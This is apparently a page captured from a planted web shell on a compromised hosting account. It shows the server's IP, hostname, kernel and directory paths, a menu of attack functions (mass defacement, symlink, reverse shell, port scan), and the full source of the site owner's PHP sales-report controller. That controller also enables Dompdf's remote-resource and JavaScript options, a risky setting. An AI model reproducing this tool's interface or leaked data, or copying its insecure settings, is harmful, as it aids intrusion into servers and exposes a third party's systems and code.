Tul xxx Tul
User / IP
:
216.73.216.217
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
vendefacil2
/
controllers
/
Viewing: Estadoresultado.php
<?php require 'vendor/autoload.php'; use Dompdf\Dompdf; class Estadoresultado extends Controller { private $id_usuario, $id_sucursal; public function __construct() { parent::__construct(); session_start(); if (empty($_SESSION['id_usuario'])) { header('Location: ' . BASE_URL); exit; } $this->id_usuario = $_SESSION['id_usuario']; $this->id_sucursal = $_SESSION['id_sucursal']; } public function index() { if (!verificar('reporte_ventas') && !verificar('reporte_compras') && !verificar('ver_gastos')) { header('Location: ' . BASE_URL . 'admin/permisos'); exit; } $hoy = date('Y-m-d'); $data['title'] = 'Estado de Resultado'; $data['script'] = 'estadoresultado.js'; $data['desde'] = $hoy; $data['hasta'] = $hoy; $this->views->getView('estadoresultado', 'index', $data); } public function rango() { $desde = date('Y-m-01'); $hasta = date('Y-m-t'); if (verificar('reporte_ventas') || verificar('reporte_compras') || verificar('ver_gastos')) { $rango = $this->model->getRangoFechas($this->id_sucursal); $desde = !empty($rango['desde']) ? $rango['desde'] : $desde; $hasta = !empty($rango['hasta']) ? $rango['hasta'] : $hasta; } echo json_encode(['desde' => $desde, 'hasta' => $hasta], JSON_UNESCAPED_UNICODE); die(); } public function resumen() { $response = [ 'ventas' => 0, 'apartados' => 0, 'compras' => 0, 'gastos' => 0, 'utilidad_bruta' => 0, 'utilidad_neta' => 0, 'descuentos' => 0, 'ventas_brutas' => 0, 'iva_acreditable' => 0, 'iva_por_pagar' => 0, 'ventasDecimal' => '0.00', 'apartadosDecimal' => '0.00', 'comprasDecimal' => '0.00', 'gastosDecimal' => '0.00', 'utilidadBrutaDecimal' => '0.00', 'utilidadNetaDecimal' => '0.00', 'descuentosDecimal' => '0.00', 'ventasBrutasDecimal' => '0.00', 'ivaAcreditableDecimal' => '0.00', 'ivaPorPagarDecimal' => '0.00', 'moneda' => MONEDA, ]; if (verificar('reporte_ventas') || verificar('reporte_compras') || verificar('ver_gastos')) { $hoy = date('Y-m-d'); $desde = !empty($_GET['desde']) ? $_GET['desde'] : $hoy; $hasta = !empty($_GET['hasta']) ? $_GET['hasta'] : $hoy; if (!preg_match('/^\d{4}-\d{2}-\d{2}$/', $desde)) { $desde = $hoy; } if (!preg_match('/^\d{4}-\d{2}-\d{2}$/', $hasta)) { $hasta = $hoy; } if ($desde > $hasta) { $tmp = $desde; $desde = $hasta; $hasta = $tmp; } $ventas = $this->model->getTotalVentas($this->id_sucursal, $desde, $hasta); $apartados = $this->model->getTotalApartados($this->id_sucursal, $desde, $hasta); $costoVentas = $this->model->getCostoVentas($this->id_sucursal, $desde, $hasta); $gastos = $this->model->getTotalGastos($this->id_sucursal, $desde, $hasta); $descuentos = $this->model->getTotalDescuentos($this->id_sucursal, $desde, $hasta); $ivaVentas = $this->model->getIvaVentas($this->id_sucursal, $desde, $hasta); $ivaCompras = $this->model->getIvaCompras($this->id_sucursal, $desde, $hasta); $ivaGastos = $this->model->getIvaGastos($this->id_sucursal, $desde, $hasta); $ventasBrutas = (!empty($ventas['total'])) ? (float)$ventas['total'] : 0; $totalDescuentos = (!empty($descuentos['total'])) ? (float)$descuentos['total'] : 0; $totalVentas = max($ventasBrutas - $totalDescuentos, 0); $totalApartados = (!empty($apartados['total'])) ? (float)$apartados['total'] : 0; $totalCompras = (!empty($costoVentas['total'])) ? (float)$costoVentas['total'] : 0; $totalGastos = (!empty($gastos['total'])) ? (float)$gastos['total'] : 0; $totalIvaVentas = (!empty($ivaVentas['total'])) ? (float)$ivaVentas['total'] : 0; $totalIvaCompras = (!empty($ivaCompras['total'])) ? (float)$ivaCompras['total'] : 0; $totalIvaGastos = (!empty($ivaGastos['total'])) ? (float)$ivaGastos['total'] : 0; $ivaAcreditable = $totalIvaCompras + $totalIvaGastos; $ivaPorPagar = $totalIvaVentas; $utilidadBruta = $totalVentas - $totalCompras; $utilidadNeta = $utilidadBruta - $totalGastos; $response['ventas_brutas'] = number_format($ventasBrutas, 2, '.', ''); $response['ventasBrutasDecimal'] = number_format($ventasBrutas, 2); $response['descuentos'] = number_format($totalDescuentos, 2, '.', ''); $response['descuentosDecimal'] = number_format($totalDescuentos, 2); $response['ventas'] = number_format($totalVentas, 2, '.', ''); $response['apartados'] = number_format($totalApartados, 2, '.', ''); $response['compras'] = number_format($totalCompras, 2, '.', ''); $response['gastos'] = number_format($totalGastos, 2, '.', ''); $response['utilidad_bruta'] = number_format($utilidadBruta, 2, '.', ''); $response['utilidad_neta'] = number_format($utilidadNeta, 2, '.', ''); $response['iva_acreditable'] = number_format($ivaAcreditable, 2, '.', ''); $response['iva_por_pagar'] = number_format($ivaPorPagar, 2, '.', ''); $response['ventasDecimal'] = number_format($totalVentas, 2); $response['apartadosDecimal'] = number_format($totalApartados, 2); $response['comprasDecimal'] = number_format($totalCompras, 2); $response['gastosDecimal'] = number_format($totalGastos, 2); $response['utilidadBrutaDecimal'] = number_format($utilidadBruta, 2); $response['utilidadNetaDecimal'] = number_format($utilidadNeta, 2); $response['ivaAcreditableDecimal'] = number_format($ivaAcreditable, 2); $response['ivaPorPagarDecimal'] = number_format($ivaPorPagar, 2); } echo json_encode($response, JSON_UNESCAPED_UNICODE); die(); } public function reporte() { if (!verificar('reporte_ventas') && !verificar('reporte_compras') && !verificar('ver_gastos')) { header('Location: ' . BASE_URL . 'admin/permisos'); exit; } $hoy = date('Y-m-d'); $usaRango = (!empty($_GET['desde']) && !empty($_GET['hasta'])); $desde = !empty($_GET['desde']) ? $_GET['desde'] : $hoy; $hasta = !empty($_GET['hasta']) ? $_GET['hasta'] : $hoy; if (!preg_match('/^\d{4}-\d{2}-\d{2}$/', $desde)) { $desde = $hoy; } if (!preg_match('/^\d{4}-\d{2}-\d{2}$/', $hasta)) { $hasta = $hoy; } if ($desde > $hasta) { $tmp = $desde; $desde = $hasta; $hasta = $tmp; } $ventas = $this->model->getTotalVentas($this->id_sucursal, $desde, $hasta); $apartados = $this->model->getTotalApartados($this->id_sucursal, $desde, $hasta); $costoVentas = $this->model->getCostoVentas($this->id_sucursal, $desde, $hasta); $gastos = $this->model->getTotalGastos($this->id_sucursal, $desde, $hasta); $descuentos = $this->model->getTotalDescuentos($this->id_sucursal, $desde, $hasta); $ivaVentas = $this->model->getIvaVentas($this->id_sucursal, $desde, $hasta); $ivaCompras = $this->model->getIvaCompras($this->id_sucursal, $desde, $hasta); $ivaGastos = $this->model->getIvaGastos($this->id_sucursal, $desde, $hasta); $ventasBrutas = (!empty($ventas['total'])) ? (float)$ventas['total'] : 0; $totalDescuentos = (!empty($descuentos['total'])) ? (float)$descuentos['total'] : 0; $totalVentas = max($ventasBrutas - $totalDescuentos, 0); $totalApartados = (!empty($apartados['total'])) ? (float)$apartados['total'] : 0; $totalCompras = (!empty($costoVentas['total'])) ? (float)$costoVentas['total'] : 0; $totalGastos = (!empty($gastos['total'])) ? (float)$gastos['total'] : 0; $totalIvaVentas = (!empty($ivaVentas['total'])) ? (float)$ivaVentas['total'] : 0; $totalIvaCompras = (!empty($ivaCompras['total'])) ? (float)$ivaCompras['total'] : 0; $totalIvaGastos = (!empty($ivaGastos['total'])) ? (float)$ivaGastos['total'] : 0; $ivaAcreditable = $totalIvaCompras + $totalIvaGastos; $ivaPorPagar = $totalIvaVentas; $totalIngresosBrutos = $ventasBrutas + $totalApartados; $totalIngresos = $totalVentas + $totalApartados; $utilidadBruta = $totalVentas - $totalCompras; $utilidadNeta = $utilidadBruta - $totalGastos; $data['title'] = 'Estado de Resultado'; $data['empresa'] = $this->model->getEmpresa($this->id_sucursal); $data['desde'] = $desde; $data['hasta'] = $hasta; $data['periodo'] = $usaRango ? '' : 'Hoy'; $data['moneda'] = MONEDA; $data['totales'] = [ 'ventasBrutas' => number_format($ventasBrutas, 2), 'descuentos' => number_format($totalDescuentos, 2), 'ventas' => number_format($totalVentas, 2), 'apartados' => number_format($totalApartados, 2), 'compras' => number_format($totalCompras, 2), 'gastos' => number_format($totalGastos, 2), 'utilidadBruta' => number_format($utilidadBruta, 2), 'utilidadNeta' => number_format($utilidadNeta, 2), ]; $data['fiscales'] = [ 'ivaAcreditable' => number_format($ivaAcreditable, 2), 'ivaPorPagar' => number_format($ivaPorPagar, 2), ]; $pct = function ($part, $total) { if (empty($total)) { return '0.00'; } return number_format(($part / $total) * 100, 2, '.', ''); }; $data['porcentajes'] = [ 'ventasBrutas' => $pct($ventasBrutas, $totalIngresosBrutos), 'descuentos' => $pct($totalDescuentos, $totalIngresosBrutos), 'ventas' => $pct($totalVentas, $totalIngresos), 'apartados' => $pct($totalApartados, $totalIngresos), 'compras' => $pct($totalCompras, $totalIngresos), 'gastos' => $pct($totalGastos, $totalIngresos), 'utilidadBruta' => $pct($utilidadBruta, $totalIngresos), 'utilidadNeta' => $pct($utilidadNeta, $totalIngresos), 'ivaAcreditable' => $pct($ivaAcreditable, $totalIngresos), 'ivaPorPagar' => $pct($ivaPorPagar, $totalIngresos), ]; ob_start(); $this->views->getView('estadoresultado', 'reporte', $data); $html = ob_get_clean(); $dompdf = new Dompdf(); $options = $dompdf->getOptions(); $options->set('isJavascriptEnabled', true); $options->set('isRemoteEnabled', true); $dompdf->setOptions($options); $dompdf->loadHtml($html); $dompdf->setPaper('A4', 'vertical'); $dompdf->render(); $dompdf->stream('estado_resultado.pdf', array('Attachment' => false)); } public function excel() { if (!verificar('reporte_ventas') && !verificar('reporte_compras') && !verificar('ver_gastos')) { header('Location: ' . BASE_URL . 'admin/permisos'); exit; } $hoy = date('Y-m-d'); $usaRango = (!empty($_GET['desde']) && !empty($_GET['hasta'])); $desde = !empty($_GET['desde']) ? $_GET['desde'] : $hoy; $hasta = !empty($_GET['hasta']) ? $_GET['hasta'] : $hoy; if (!preg_match('/^\d{4}-\d{2}-\d{2}$/', $desde)) { $desde = $hoy; } if (!preg_match('/^\d{4}-\d{2}-\d{2}$/', $hasta)) { $hasta = $hoy; } if ($desde > $hasta) { $tmp = $desde; $desde = $hasta; $hasta = $tmp; } $ventas = $this->model->getTotalVentas($this->id_sucursal, $desde, $hasta); $apartados = $this->model->getTotalApartados($this->id_sucursal, $desde, $hasta); $costoVentas = $this->model->getCostoVentas($this->id_sucursal, $desde, $hasta); $gastos = $this->model->getTotalGastos($this->id_sucursal, $desde, $hasta); $descuentos = $this->model->getTotalDescuentos($this->id_sucursal, $desde, $hasta); $ivaVentas = $this->model->getIvaVentas($this->id_sucursal, $desde, $hasta); $ivaCompras = $this->model->getIvaCompras($this->id_sucursal, $desde, $hasta); $ivaGastos = $this->model->getIvaGastos($this->id_sucursal, $desde, $hasta); $ventasBrutas = (!empty($ventas['total'])) ? (float)$ventas['total'] : 0; $totalDescuentos = (!empty($descuentos['total'])) ? (float)$descuentos['total'] : 0; $totalVentas = max($ventasBrutas - $totalDescuentos, 0); $totalApartados = (!empty($apartados['total'])) ? (float)$apartados['total'] : 0; $totalCompras = (!empty($costoVentas['total'])) ? (float)$costoVentas['total'] : 0; $totalGastos = (!empty($gastos['total'])) ? (float)$gastos['total'] : 0; $totalIvaVentas = (!empty($ivaVentas['total'])) ? (float)$ivaVentas['total'] : 0; $totalIvaCompras = (!empty($ivaCompras['total'])) ? (float)$ivaCompras['total'] : 0; $totalIvaGastos = (!empty($ivaGastos['total'])) ? (float)$ivaGastos['total'] : 0; $ivaAcreditable = $totalIvaCompras + $totalIvaGastos; $ivaPorPagar = $totalIvaVentas; $totalIngresosBrutos = $ventasBrutas + $totalApartados; $totalIngresos = $totalVentas + $totalApartados; $utilidadBruta = $totalVentas - $totalCompras; $utilidadNeta = $utilidadBruta - $totalGastos; $pct = function ($part, $total) { if (empty($total)) return 0; return ($part / $total); }; $periodoStr = $usaRango ? "Del $desde al $hasta" : "Hoy ($hoy)"; $spreadsheet = new \PhpOffice\PhpSpreadsheet\Spreadsheet(); $spreadsheet->getProperties() ->setCreator($_SESSION['nombre_usuario'] ?? 'Sistema') ->setTitle("Estado de Resultado"); $sheet = $spreadsheet->getActiveSheet(); $sheet->getColumnDimension('A')->setWidth(35); $sheet->getColumnDimension('B')->setWidth(20); $sheet->getColumnDimension('C')->setWidth(15); // Header styles $headerStyle = [ 'fill' => [ 'fillType' => \PhpOffice\PhpSpreadsheet\Style\Fill::FILL_SOLID, 'startColor' => ['argb' => '008cff'] ], 'font' => [ 'color' => ['argb' => \PhpOffice\PhpSpreadsheet\Style\Color::COLOR_WHITE], 'bold' => true ] ]; $sheet->setCellValue('A1', 'Estado de Resultado'); $sheet->getStyle('A1')->getFont()->setBold(true)->setSize(14); $sheet->setCellValue('A2', 'Periodo: ' . $periodoStr); $sheet->setCellValue('A4', 'Concepto'); $sheet->setCellValue('B4', 'Total (' . MONEDA . ')'); $sheet->setCellValue('C4', 'Porcentaje (%)'); $sheet->getStyle('A4:C4')->applyFromArray($headerStyle); $dataRows = [ ['Ventas Brutas', $ventasBrutas, $pct($ventasBrutas, $totalIngresosBrutos)], ['Descuentos s/Ventas', $totalDescuentos, $pct($totalDescuentos, $totalIngresosBrutos)], ['Ventas Netas', $totalVentas, $pct($totalVentas, $totalIngresos)], ['Ingresos Apartados', $totalApartados, $pct($totalApartados, $totalIngresos)], ['Costo de Ventas', $totalCompras, $pct($totalCompras, $totalIngresos)], ['Utilidad Bruta', $utilidadBruta, $pct($utilidadBruta, $totalIngresos)], ['Gastos Operativos', $totalGastos, $pct($totalGastos, $totalIngresos)], ['Utilidad Neta', $utilidadNeta, $pct($utilidadNeta, $totalIngresos)] ]; $row = 5; foreach ($dataRows as $rowData) { $sheet->setCellValue('A' . $row, $rowData[0]); $sheet->setCellValue('B' . $row, $rowData[1]); $sheet->setCellValue('C' . $row, $rowData[2]); $row++; } $row++; $sheet->setCellValue('A' . $row, 'Conceptos Fiscales'); $sheet->setCellValue('B' . $row, 'Total (' . MONEDA . ')'); $sheet->setCellValue('C' . $row, 'Porcentaje (%)'); $sheet->getStyle('A'.$row.':C'.$row)->applyFromArray($headerStyle); $row++; $fiscalRows = [ ['IVA Acreditable (Compras+Gastos)', $ivaAcreditable, $pct($ivaAcreditable, $totalIngresos)], ['IVA por Pagar (Ventas)', $ivaPorPagar, $pct($ivaPorPagar, $totalIngresos)] ]; foreach ($fiscalRows as $rowData) { $sheet->setCellValue('A' . $row, $rowData[0]); $sheet->setCellValue('B' . $row, $rowData[1]); $sheet->setCellValue('C' . $row, $rowData[2]); $row++; } // Apply number formats $sheet->getStyle('B5:B13')->getNumberFormat()->setFormatCode(\PhpOffice\PhpSpreadsheet\Style\NumberFormat::FORMAT_NUMBER_00); $sheet->getStyle('C5:C13')->getNumberFormat()->setFormatCode(\PhpOffice\PhpSpreadsheet\Style\NumberFormat::FORMAT_PERCENTAGE_00); $sheet->getStyle('B16:B17')->getNumberFormat()->setFormatCode(\PhpOffice\PhpSpreadsheet\Style\NumberFormat::FORMAT_NUMBER_00); $sheet->getStyle('C16:C17')->getNumberFormat()->setFormatCode(\PhpOffice\PhpSpreadsheet\Style\NumberFormat::FORMAT_PERCENTAGE_00); header('Content-Type: application/vnd.ms-excel'); header('Content-Disposition: attachment;filename="estado_resultado.xlsx"'); header('Cache-Control: max-age=0'); $writer = \PhpOffice\PhpSpreadsheet\IOFactory::createWriter($spreadsheet, 'Xlsx'); $writer->save('php://output'); exit; } }
Coded With 💗 by
0x6ick